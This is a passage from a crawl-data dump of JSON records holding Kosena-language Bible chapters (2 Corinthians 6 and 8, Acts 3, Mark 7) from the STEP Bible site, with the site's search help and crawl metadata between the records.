2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Luk.20","date":"2018-04-22T10:47:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945584.75\/warc\/CC-MAIN-20180422100104-20180422120104-00047.warc.gz","language":"kze","language_score":0.9999879599,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999879598617554}","num_words":893,"character_repetition_ratio":0.044,"word_repetition_ratio":0.007,"special_characters_ratio":0.155,"stopwords_ratio":0.158,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Corinthians 61 Áánútuwe tágárotamai méta mayáí kwémaeta asiramái simátimeta séta Áánútu úwoi kwétuwaꞋnaa-imba póꞋa íma úwoi méꞋa kwembó arááímo kwétainiꞋa oró kwésune. 2 naaóváꞋá Áánútun-aai aúváí-kwandaaivimba Áánútumo siráin-aimba agaimaréna séna\núwoi túwaꞋnaa uráunda-kanaa kentáái\niséꞋa sáwíꞋo umáímo máyómpinkembo\ntíkaunda-kanaa túwaꞋnaa uráumne\nÁánútu siráiye agaimaréna siráimba mindáyaveꞋa ísáaro. ívéꞋa Áánútu úwoi kwétuwaꞋnaa-in-kanaama éna sáwíꞋo umáímo máyáampinkemba kwétirain-kanaama imbá póꞋa íma úwoi méꞋa kwembó arááímo kwétainiꞋa oro.\n3 kentáásí mayáígómbá awánésa sáwí-amba kwáráavo séta kaweꞋ-máyáíyé suꞋmai kwémayaundaya pósa íma áraiꞋa sésa sáwí-mayai kwémayaawe kwésewe. 4 amápaꞋ-mayai kwémayaundayaveta séta suwánésaya áraiꞋa Áánútuna mayáí-kwáásímán-owe sígwáe séta mimbáyáí kwémaeta máyaumne. umbai-yántááꞋó kentáásópaꞋo tisasamó síꞋo iníꞋo umásinkesaya sáwíꞋo umásínkáanta íma ivátuweta asiramáíya máyaumne. 5 Áánútuna mayáíyá kwémayaundarakemba sínkambai ándávaꞋo mósinkesayaamo úkúmakesamo sáwí-aimba simánkesa mirámó kwéonta anóm-bayai kwémaeta noꞋwáámba íma suúyá kwégwaeta úwoi mayáí kwémaeta sááimo kwésinkainta íma ivátuweta asiramáíya máyaumne. 6 kentááyávésa Áánútuna mayáí-kwáásímán-owe sénááontaveta kaweꞋ-máyáíyé suꞋmai kwémaeta kawer-ímáyáá kwéeta paru umái méta kaweꞋá kwéumatinkaunanaya Áánútun-amanko keséya máyáísata áraiꞋa miwítí imáyáa kwéeta 7 árair-aimba kwésimatimunanaya Áánútu asirayámbá kwésimisata mirám-báyáí kwémaeta Áánútu aúrankaꞋa arupí umáíya máyaundaya mindá kweukáámbá araaꞋnaa uráunanaya sáwí-ainko kentáávímbá íma kwétisata Áánútu aúrankaꞋa arupí umáíya máyaundaya mindá iwevóíráámbá umásoketa umbai-yántááꞋó kesópataamo timbá kwéusayaaitaundayaawe. 8 évakarawai kentáá súwíꞋa mósá máráawasa évakarawai kentáá súwíꞋa simái sáwíꞋa owasá évakarawai kawer-áímbá simásíméwasa évakarawai sáwí-aimba simásíméwasa árair-aimbo simátimundayavesaya évakarawai kentááyávésa kampaꞋá kwésewe sewasá 9 évakarawai kaweꞋá umái suwánésaya kampaꞋá sésa úwoi-kwaasiman-owe sewasá évakarawai kentááyávésamo puwónáesa owémó kwésemba íma puwúndaya úwoiya súvamaiya máyaumpo suwánaaro. Áánútu arupíya kwéumasinkaimba íma sínkamisata kwévuwune. 10 sáwíva-tantaako kentáásirumba umbaí kwétamasinkainta kentáásirumba kaweꞋá úmae kwéiyiye. kesáá óísamba íma makáundayawaiya éta Áánútun-aai sáwívarawaiya kwésimatimunasaya kaweꞋá umái kwémaewe. óísaniyaaiwai éta Áánútun-aai tátokaundayaveta kaweꞋá umáíya máyaumne.\n11 Kórínti-naopaken-kwaasi ísáaro. kentí imáyáa éta kentáásirumpinken-aimba avoraꞋá simátímakaundaya 12 keinárawataveta íma kayoráúnaꞋa kentááyávéꞋa kayóꞋmái máyáawe. 13 kesí iyámpóímo simátimundantenkaamba simátimumpo kentí imáyáamo úndantemba kentáásí imáyáa éꞋa kentirumpinkén-áímbá simásíméro.\nÁánútuna naankaantáán-úne siráin-kwasai.14 oóꞋá tombá moórá anóm-purumakankwara moórá sáwíyam-purumakankwaraꞋa íma kwétagarotamai kwisóvo awaira-púrúmákánkáí tinumarampimbá kwímakaawasarai oóꞋá kwétoye. mirámó ontembá keinárawaꞋa Áánútun-aaiyaveꞋa áraire sewáíyé ímo áraire sewáíyé íma tágárotamai méꞋa mayáí máyáaro. arupí umái máyáawaise Áánútun-aai arááíraawaise íma kanaán-umai tágárotamai mésa mayáí kwémaraawe. ságayankwara tunígwaraꞋa íma moórávimba kwáyáiye. 15 Ísu Káráísitiye Sáátáánigowe íma mimbórá-ímáyáá óyasa Áánútun-aaiyavesa áraire sewáíyé ímo áraire sewáíyé íma mimbórá-ímáyáá kwéowe. 16 Áánútuna naaúmpaꞋa kwesé kwaántá-kwaasi mimbórávímbá íma ménaaowe. Áánútu asirayánkwáráwáí kentáásirumpimba máyáísata kwená naankaantáán-úne. mináíntávéna naaóváꞋá Áánútun-aai aúváívimba agaimaréna séna Áánútu séna\nkesí kwaásiye méꞋa miwívímbá kwénaaeꞋa\nmiwítí Ísóigo onasá kesí kwaási-iꞋa ónááowe\nÁánútu siráiye. 17 mindáyavena Ísóigo séna\núwoi-kwaasivinkemba tiyuwéꞋa moórá-ayampaꞋa\nméꞋa sáwí-mayaigomba tínaaemba umátimiyaꞋa\ntiréꞋa 18 kentivoíꞋa onaꞋá kesáánimbaaꞋa\nkesiyáámúmbaariꞋa ónááowe.\nÍsóigo amápar-asirayamba tokáiwai siráiye agaimaréna siráiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=2Cor.6","date":"2018-04-22T06:16:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945497.22\/warc\/CC-MAIN-20180422061121-20180422081121-00545.warc.gz","language":"kze","language_score":0.9999860525,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999860525131226}","num_words":564,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.124,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Acts 3\nPítaa aísamaima kaweꞋá umánkarain-kwasai.1 moórá-kwaasi anówa maránkarompinkemba aísamaima pukurón-kwaasi máyowasa aasiyaasi-táwai áíꞋmaesa anóm-bonoꞋ-nankona ontaráꞋá áwíꞋa kawer-óntáráꞋá móankarowana ména anóm-bonoꞋ-naumpaꞋo íyún-kwaasiyavena óntantavai inaainaaí sún-kwaasi máyonkaꞋa anóm-bonoꞋ-naumpaꞋa Pítaae Yóniye íyúyana aaváúmá toraétáápaꞋa kúwasa námúnaa kwésen-kanaaraꞋa íyúyana 3 tuwánéna séna óntamba símékaiyo súwasarai 4 túramba kararésarai Pítaa séna kenkáí suwánaao suyaná 5 siméyááoiye-imayaa éna tuwánówana 6 Pítaa séna íma óntamba makáumpo Ísuna asirayándéí kaweꞋá umánkanaumne. Ísu Káráísitima Násáretivakewaina asirayámbá kwáyáintaveꞋa séꞋa usásine naauwó súne Pítaa séna 7 ayáánúrapaꞋa tátoꞋmai usásinankowana aísaumba aísána kaweꞋá úwana 8 usásinkwena tokávara taúvaraaꞋa éna aamoí éna Áánútu áwíꞋa mósá kwémarena mindáraiye anóm-bonoꞋ-naumpaꞋa 9 kweyááríkaꞋa marapáꞋá iyéna Áánútu áwíꞋa mósá marówasa amáparawai awánésa 10 sésa miwá aasiyaasi-táwai anóm-bonoꞋ-nankona kawer-óntáráꞋá ména óntan-inaai síma-simaꞋa indáꞋán-iye sésa táátavai ésa kweyááríkaꞋa marapáꞋá kwéiyuntavesa tiyáámba tuvimpín-ésa táátavai uráawe.\nPítaa simátímakain-kwasai.11 kweyááríkaꞋa kwéiyena aamoí éna Pítaante Yóninte tineꞋá tátorowasa amáparawai táátavai ésa miwítópaꞋa tóyo ésa anóm-bonoꞋ-naumpaꞋa Sórómoni áúgwimai úmakopaꞋa tóyo uwaná 12 Pítaa tuwánéna séna Ísareri-kwaasiyono. mintántáátáváí íma tááꞋa kaíno. íma túramba kenkáí arááꞋa sivuwóro. íma kenkáísí asirayánkó kaweꞋá umái arupí umái mékai kwéuvo 13 Áánútuna asirayánkó mirá kwéisana minkwáásí kweyááríkaꞋa kwénaaiye. mirá uráintavai Áánútu Ísu áwíꞋa mósá maréna kentáá síkwáꞋná Ááváramu Áísákaa Yákópo miwítí Ísóigoma kwená kwayóꞋnákó áwíꞋa Ísumba póna mósá makáiye. ánivo Ísumba áíꞋmaeꞋa Árómáani-kamaani-kawaanako áwíꞋa PáírátinopaꞋa máánkarowana Páíráti séna ayúrankanae súwaꞋa aꞋáo siráawe. 14 kawe-kwáásí arupí umái máyon-kwaasiyaveꞋa aꞋáo séꞋa moórá-kwaasi inkamúwana puwúwasa ándávaꞋa áúkon-kwaasiyaveꞋa ayúrankaao siráawe. 15 mirá uráantaveꞋa aúnáiꞋa umái maíꞋmaiꞋa ónááowaina ááin-kwaasi kemá tuvúwana pukáimpinkemba Áánútu usásinankowakai awánarauye. 16 awánarauyawai Ísuna asirayánkó aísamaima pukón-kwaasi kaweꞋá umánkaraiye. Ísuna asirayántávéna áraire siráimba isaná minkwáásí kaweꞋá umái kwénaaisaꞋa kwéawanaawe Pítaa siráiye.\n17 Pítaa mináímbá simásuwena séna keinárawate kentí kawáánárawate íma awánamai Ísumba kawer-uréꞋa tuvukáawe. 18 naaóváꞋá Áánútu kwenáái simátímakowaiyavena séna simátimeꞋa séꞋa kemó usásinankaundawaimba sáwíꞋa umánkanaaowe Áánútu siráinkaꞋa póna keinárawaꞋo Ísumbo uráamba mináímbá paáruraiye. 19 mindáyaveꞋa kentí sáwí-imayaa tínaaemba umásuweꞋa ÁánútunopaꞋa tíyana póna Áánútu kentí sáwí-imayaa maitiyuwáníye. 20 moórá-mora-tawai Ísóigo kwená asirayámbá timínaꞋa kwesé ménaaontaveꞋa kentí sáwí-imayaa tuwéꞋa ÁánútunopaꞋa teró. Áánútuma túwaꞋnaa ínkwáe séna usásinankaiwaimba Ísumba aiꞋmaráínana kumíníntaveꞋa kentí sáwí-imayaa tuwéꞋa ÁánútunopaꞋa teró. 21 Ísu kwíyómpaꞋa umáyáimba póna naaén-kanaamo éna amápa-tantaaꞋa aúnáiꞋo índa-tawai ókwaraꞋa marapáꞋá kumíníye. naaóváꞋá Áánútu mináímbá simátimuwasa Áánútun-aai ísón-kwaasi kawe-kwáásí isésa simátímakaawe. 22 Áánútun-aai simátímakowai áwíꞋa Mósesi séna Áánútu kentí Ísóigo kembá kesí mayáí mayaaó séna siꞋmákainten-umai Áánútun-aaimo simátiminiwaimba keándárakemba moóráwaimba aiꞋmaráínana kwenáái simátiminasa isánááowe. 23 ímo isáíyawaimo éna Áánútu kwená kwaásivinkemba tíꞋmaena moórávaꞋo tinkáindawai ánásanaaowe Mósesi siráiye. 24 Áánútun-aai simátímakowai áwíꞋa Sámúwéri kwemá simátímakonkaꞋa naaén-kwaasi simátímíntemba mai-simátímaꞋmaesa iyémáyáamba kwévaariye. 25 naaóváꞋá Áánútu kentáá síkwáꞋná áwíꞋa Ááváramuntavena séna enándáraken-kwaasiyavena amápaꞋ-marava-kwaasi kaweꞋá umátinkanaumne Áánútu asiramái siráiye. Ááváramun-andaraken-kwaasi owaná póna keinárawatavena Áánútu mináímbá asiramái siráiye. 26 miráumai Áánútu Ísuntavena kesí mayáí mayaaó séna aiꞋmarówana keinárawapimba kunkáiye. amáparawai kentí sáwí-imayaa tínaaemba umásuwaiyana aivaꞋá keinárawaꞋa kaweꞋá umátinkanintavena keinárawapimba kunkáiye Pítaa Ísareri-kwaasiyavena simátímakaiye.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Act.3","date":"2018-04-24T03:12:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946453.89\/warc\/CC-MAIN-20180424022317-20180424042317-00434.warc.gz","language":"kze","language_score":0.9999771118,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999771118164062}","num_words":590,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.155,"stopwords_ratio":0.129,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Mark 7\ntíkwáꞋnáí ámáámba siráan-kwasai.1 ámáán-kawaa-kwaasiye ámáámba sun-kwáásíyé Yérúsaremu-naopakemba Ísumo máyopaꞋa tésa 2 tuwánomba Ísuna kwayó-kwáásí évakaꞋa tiyáámba íma sese un-tíyáándéí toómbá kwénowasa 3 Yútaa-kwaasi ámáán-kawaa-kwaasiye úwoi-kwaasiye tíkwáꞋnáí ámáámba kwáróntavesa tiyáámba sese umásukesa toómbá nésa 4 máákétirakemba naaópaꞋa iyésa tiyáámba sese umásukesa toómbá nésa tíkwáꞋnáí ámáámba óꞋon-oꞋon-amaamba kwarésa tááveꞋa nonánámá anavéúmbá sese uráawe. 5 ámáán-kawaa-kwaasiye ámáámba sun-kwáásíyé ÍsunkaꞋa torupésa sésa ená kwayó-kwáásí nóra isasá kentáá síkwáꞋnáí ámáámba íma kwarésa tiyáámba íma sese ombá toómbá kwénaao suwaná 6 Ísu séna kaumbo-káér-ainkwara-kwaasin-owe. naaóváꞋá Áánútun-aai simátímakowai áwíꞋa Áísáya keinárawatavena árair-aimba siráimba agaimaréna séna Áánútu séna\n- maawímá kesúwíꞋa tóikakene suꞋmai sésa kesí imáyáa íma tirumpimbá kwáyáiye.\nkwaásimo sáwíꞋo umátínkáin-tantaakona kwaasái.14 Ísu mináímbá simátímatuwena kwaásiyavena teró súwasa kwenópaꞋa tuwaná séna simátíménda iséꞋa kaweꞋá oró. 15 máápaken-tantaaꞋo naawáí íma kwaási sáwíꞋa kwéumatinkaivo tirumpinkén-áínkó kwaási sáwíꞋa kwéumatinkaiye. [ 16 kwéisaawai ísámai kaweꞋá oró] Ísu siráiye.\n17 Ísu simásuwena minkwáásíyómbá mátiyuwena naaúmpaꞋa umáyowasa kwená kwayó-kwáásí sésa mináínkóná ááimba simásimiyo suwaná 18 Ísu séna kenkwáráꞋá íma tááko pééi kwéisaꞋa méꞋa ísáambanivo íma ísámai kaweꞋá uráawe. máápaken-tantaaꞋo naawáí kwaási íma sáwíꞋa kwéumatinkaiye. 19 mindá íma imáyáa kunkwaéna tindáámpaꞋa kunáyúsúgwinivo 20 aaimó kwésemba tirumpinkén-ímáyááó éna mindá kwaási sáwíꞋa kwéumatinkaiye. 21 tirumpin-ímáyáávínkémbá sáwí-imayaa ésa tínkamiyasamo puwónááoniꞋa ésa aarai-úmóyámbá ésa kwaai-úmóyámbá ésa amápa-tantaaꞋa umóyámbá ésa 22 túran-anda ésa mirá-mira-sawiꞋa ésa kampar-áímbá sésa aosaambá kwimaé naaésa kaweꞋ-máyáímó kwémayaantavesa tirunkó simái sáwíꞋa kwéumatinkesa tívókariꞋa ésa uwoꞋaóríꞋa ésa 23 mirá-sáwíꞋó kwéomba tirumpinkén-ímáyááó kwaási sáwíꞋa kwéumatinkaivo tiyáámbo ímo sese ombó toómbó kwénaamba mindáo kwaási íma sáwíꞋa kwéumatinkaiye Ísu siráiye. ánivo Ísumo kwemó siráimba amápa-tomba kaweꞋá umái kwénaawe siráiye.\nKénááni-maravaken-ininkona kwaasái.24 Ísu mináímbá simásuwena kwená kwayó-kwáásíyé miváꞋá tuwéna Táyaa-naopare Sáítóni-naopare mináyámpáꞋá kúmba moórá-naumpaꞋa uména séna kemó tamaúnda íma simátíméro súwasa ánivo évaka-kwaasi tamáún-aimba ísówana 25 moórá-ininko ayáámúnko arumpimbá taraváá-kwámbá máyowana minínínkó Ísumo tamáún-aimba iséna avekáán-umai kwenópaꞋa iyéna maraꞋá kumbaéna 26 kwemá íma Yútaa-inimba póna Síriyaa-maravaꞋa Vínísiyaa-naopaken-ininko ÍsunopaꞋa iyéna maraꞋá kumbaéna asiramái séna kesiyáámúnko arumpinkémbá taraváá-kwámbá mayauwaaó súwana 27 Ísu simámena séna aivaꞋá iyámpói toómbá timénaumne. iyámpóíti toómbá maimái iyámbá timúnavo miráumai Ísareri-kwaasimo túwaꞋnaa úndantemba emá óꞋonkaa-inimba ónda póꞋa áwaꞋnaa únavo kwésune súmbanivo 28 minínínkó séna anóndako áraiꞋa sémpo iyámpóíti toón-ayai iyánkó tamandáníye. miráumai óꞋonkaa-ininkoman-iye sinaná kanaán-ína súwaꞋnaa íníyone súwana 29 Ísu séna kawer-áímbá séndayavai enayáámúnko arumpinkémbá taraváá-kwámbá mayáúkaumpo ená naaópaꞋa kwaaó súwana 30 kwená naaópaꞋa kwéna koawánómba taraváá-kwámbá kóúrowana ayáámúnko kaweꞋá umái tuvaikáꞋá méraiye.\nÍsu sáwívarawai asóvamatinkarain-kwasai.31 Ísu Táyaa-naopar-ayampakemba Sáítóni-naopar-ayampaꞋa táúkúmaena Tékáporisi-ayampaꞋa táúkúmaena Káríri-nonkwaaumpaꞋa kúmba 32 évakarawai aívóꞋnaꞋa áíꞋmaesa tésa sésa enayáándei tátoꞋmai asóvamankaao suwaná 33 kwaásivinkemba áíꞋmai kweyáávaꞋa ankéna ayáánánánei áápimba maréna awirááíma kwiꞋmaréna amáávíraꞋa tátorena 34 kwíyómpaꞋa karákéna sirumbá kwéiye séna kwenááivinkemba séna epaata mináímbá kwántámai séna ááꞋo kaúnímba intíyuwaumne súwana 35 ááꞋa kaweꞋá úwana amáávíma etóyóí úwana aaí kaweꞋá umái súwana 36 Ísu asiramái séna íma simátíméro súwasa íma ísónkakemba simátímapaꞋa kuwasá 37 ísówana ávááraumai tááꞋa kówasa sésa amápa-tantaaꞋa kaweꞋá unté kwéiyena tááꞋo kaúnín-kwaasi kaweꞋá kwéumatinkena aaimó ímo kaweꞋó umáímo sen-kwáásí kaweꞋá kwéumatinkaiye siráawe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=Mar.7","date":"2018-04-20T18:15:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125944677.39\/warc\/CC-MAIN-20180420174802-20180420194802-00386.warc.gz","language":"kze","language_score":0.9999843836,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 0.9999843835830688}","num_words":604,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.142,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Corinthians 8\nÍsóigona kwaási túwaꞋnaa uráan-kwasai.1 kesí kwaásiyono. Másétóniyaa-maravaꞋo naaóꞋ-naoꞋa máyáawai Áánútuna kwaási kwemá kwétuwaꞋnaa-in-aimba simátimenaumpo ísáaro. 2 anón-umbai-yantaaꞋa miwítópaꞋa téna kwétavisisasa íma ivátuwesa Áánútuntavena tirunkó kaweꞋá úmae íyísasa miwí kesáváí óísaniyaain-kwaasi máyáantavesa íma imáyáa ésa Yútiyaa-maravaꞋa Ísóigona kwaási máyáawaiyavesa imáyáa ésa sáwíyan-oisamba makáampinkemba sáwíva-tantaaꞋa torupásuwesa túwaꞋnaa uráawe. 3 árair-aimba simátimune. miwí sésa maarán-tántááꞋá kanaán-umai timénaumpo óꞋomba torupamái timénáe sésa miwítí imáyáavinkemba mirá ésa sáwívaꞋa tímakaawe. 4 kentááyávésa asiramái símae iyésa sésa Yútiyaa-maravaꞋa Ísóigona kwaási máyáawai timénáe sétaamo únda aamoí kwéune siráawe. 5 imáyáawe suꞋmaimo únda-yantaare suꞋmai íma tímakaavo óꞋon-oꞋon-tantaakwaraꞋa timésa aivaꞋá Ísóigontavesa sésa ená kwaási-iꞋa umáíya méta ená mayáíyá kwémayaumne sirésa Áánútuna imáyáavinkemba kentááyávésa sésa Áánútuna mayáí simásimiyata keinárawate mayánaumne sésa 6 maankáꞋá Másétóniyaa-maravaꞋa máyáawai mirán-áímbá siráamba póta Táításimba simámeta séta Yútiyaa-maravaꞋa Ísóigona kwaási túwaꞋnaa ónááom-bayai Kórínti-naopaꞋa koááimba ásáre tayauweré kuré túwaꞋnaa inasá torupamái maráíyana ánásaino Táításimba simámakaumne. 7 óꞋon-oꞋom-bayai kaweꞋá umái kwémaraawai éꞋa Áánútun-aaiyaveꞋa asiramái imáyáa kwéeꞋa kwenáái kaweꞋá umái kwésimatimeꞋa kwenááigona ááimba kaweꞋá umái kwéiseꞋa karuwaaꞋá éꞋa kwétuwaꞋnaa-eꞋa kentirumbá kwésimeꞋa mirámó kwéon-kwaasi ontávéta simátimeta séta Yútiyaa-maravaꞋa Ísóigona kwaási máyáawai túwaꞋnaa ónááomba kaweꞋá umái timénááowe kwésune.\n8 maankáꞋá Másétóniyaa-maravakewai Yútiyaa-maravaꞋa Ísóigona kwaási máyáawaiyavesa imáyáa ésa kaweꞋá umái tímakaan-aimba timénaunda mirán-oro íma kwésumpo timénááo. íya timénááoo séꞋa kentirunkómbá tísaa umai kwéisaumne. 9 kentáásí Ísóigo Ísu Káráísiti úwoi kwétuwaꞋnaa-imba ísaraawe. kwíyómpaꞋa óꞋoran-kaweꞋa umái máyomba keinárawatavena imáyáa éna kwíyómpaꞋa tuwéna kaweꞋá umái ménaaontavena úwoi-kwaasiraamba umái marapáꞋá kumbéraiye.\n10 kéꞋnaan-aimba kesí imáyáavinkemba súmpo ísáaro. ááéma Áánútuna kwaásivinkemba keinárawaꞋa aivaꞋá séꞋa torupamái timénáe séꞋa ááimba aséꞋa moórá-ima maisukáavo ívéꞋa mimbáyáí ánásasuwaaro. 11 ááéma karuwaaꞋá umái toꞋmayaa éꞋa ívéꞋa karuwaaꞋá éꞋa sáwíva-tantaaꞋo makáawai sáwívaꞋa maráíyasa sáwíyambo makáawai miráumai maráíyasa miráumai maráíyana ánásaino. 12 sáwíva-tantaaꞋo máráane sáwíyambo máráane Áánútu tuwánanivo timénáemo síyan-tantaaꞋa sáwíva-tantaapinkemba sáwívaꞋa maréꞋa sáwíyampinkemba sáwíyamba maréꞋa timénááomba Áánútu awánéna kanaán-iye síníye.\n13 túwaꞋnaa ónááomba íma amápaꞋa tuꞋmái ánáseꞋa kesávéꞋa kwémareꞋa oró. 14 ánivo ívéꞋa makáan-tantaaꞋa kwáyáintaveꞋa mimpínkémbá timéꞋa naaémbo ímo maránááomba miwí keinárawaꞋa túwaꞋnaa ónááomba mimbóráíꞋa umái ménaaowe. 15 miráumai naaóváꞋá Áánútun-aai aúváívimba agaimaréna moórá-tonko áwíꞋa máána-tone séna\ntoóntávéna séna sáwívaꞋa túkúmai kwénowai tímúꞋa vówasa íma arááꞋa márówasa sáwíyamba túkúmai kwénowai tímúꞋa vówana íma táái tínkaraiye\nagaimaréna siráiye. miráumai ívéꞋa makáan-tantaaꞋa kwáyáintaveꞋa mimpínkémbá timéꞋa naaémbo ímo maránááomba miwí keinárawaꞋa túwaꞋnaa ónááowe.\nTáítási Kórínti-naopaꞋa kuráin-kwasai.16 Áánútu Táításimba imáyáa ámísana kemó túwaꞋnaa úndantemba kwegwáráꞋá túwaꞋnaa ónáe kwésisata mindáyaveꞋa ÁánútumpaꞋa súwi kwésune. 17 Táításimba simámeta séta kotúwaꞋnaa inasá Yútiyaa-maravaken-kwaasi túwaꞋnaa ónááontavesa évaka-tantaaꞋa torupamái maránááowe súndayavenaya aamoí éna kwená imáyáavinkenkwaraꞋa séna óꞋa miwísé koménaumne Táítási siráiye. 18 Táításimba aiꞋmáráandaraꞋa moórá-kwaasigwaraꞋa aiꞋmáráanana kwesé kwíníye. kwemá áséi-kwasai simátímaꞋmae kwénaaisasa naaóꞋ-naokemba Ísóigona kwaási kwenáwíꞋa mósá kwémaraawai kwemá Táításiye kwíníye. 19 Ísóigona kwaási naaóꞋ-naokemba kwembá usásinankesa sésa esé mimbáyáí mayaaó sewaná keséya kwénaaena túwaꞋnaa únda-mayaiya kwémayaisasa kentáásí mayáígómbá awánésaya sésa toómbá íma makáan-kwaasi kwétuwaꞋnaa-owe kwésesa Ísóigo áwíꞋa mósá kwémaraawe.\n20 mimbáyáímó kwémayaundaya sáwíꞋan-owe seváíyé séta 21 Ísóigo aúrankare kwaási túrankare mimbáyáí kaweꞋá ónáe séta naaóꞋ-naoꞋa kwénaaeta torupámáráan-ontantomba maimaéta ímo makáan-kwaasi túwaꞋnaa ondayávéta kwénaaumne.\n22 minkáéꞋnáraimo tiꞋmáráandaraꞋa moóráwainkwaraꞋa aiꞋmáráanana kwéna kaumbosé koínímba kwembá sáwíva-tawai áísaa umai awánanae súndaya kwétuwaꞋnaa-in-kwaasigo isatá awánaraumne. keinárawaꞋa kaweꞋó umáímo máyáan-aimba iséna póna kotúwaꞋnaa ónáe siráiye. 23 Táításin-aai súnda kesé tágárotamai ména túwaꞋnaa índayavena kesé mayáí kwémayaiye. kwesémo koóyááoiyan-kwaasi táái súnda mimbáyáí mayáyááoiyantavesa naaóꞋ-naokemba Ísóigona kwaási keinárai usásintinkaraayasarai Ísu Káráísiti áwíꞋa mósá kwémaraaiye. 24 mindárau kentópaꞋa komáyaiyaꞋa kentirumbá tíméro. kentúmo maé kwéiyundayavesamo sésa áraiꞋa kaweꞋá umái máyáawe kwésesa naaémba naaóꞋ-naoꞋa Ísóigona kwaási kosimátímaꞋmae naaíyasa kentáái isánááowe.\nCopyright information for `KZE\nWelcome to STEP Bible\nFrom Tyndale House, Cambridge UK\nUse the search box to find Bibles, commentaries, passages, search terms, etc. Here are some examples:\nESVGen 1\nThis shows how to quickly lookup a passage.\nNIVESVKJVGen 1\nLooking up a passage in three different translations is also easy.\nESVbrother\nThis asks STEP to search for the Greek word for 'brother' and show the results in the ESV.\nNIVESVlandhe.sed\nThis example runs both a 'Hebrew word search' and a 'Text' search and shows the results in both the NIV and ESV.\nESVthroneDavidIsa-Rev\nYou can mix most searches. This finds any word translated as 'throne' in the Prophets and the New Testament, but only in verses concerning the topic 'David'. This excludes verses which refer to a 'throne' in other contexts.\nKJVWHNUJohn 1\nInterlinear Hebrew & Greek is available for some translations with grammar (and more soon). To reverse the interlinear order, click on a version abbreviation under the verse number.\n© Tyndale House, Cambridge, UK - 2018","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.stepbible.org\/?q=version=KZE%7Creference=2Cor.8","date":"2018-04-19T13:45:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125936969.10\/warc\/CC-MAIN-20180419130550-20180419150550-00547.warc.gz","language":"kze","language_score":0.9999980927,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"kze_Latn_score\": 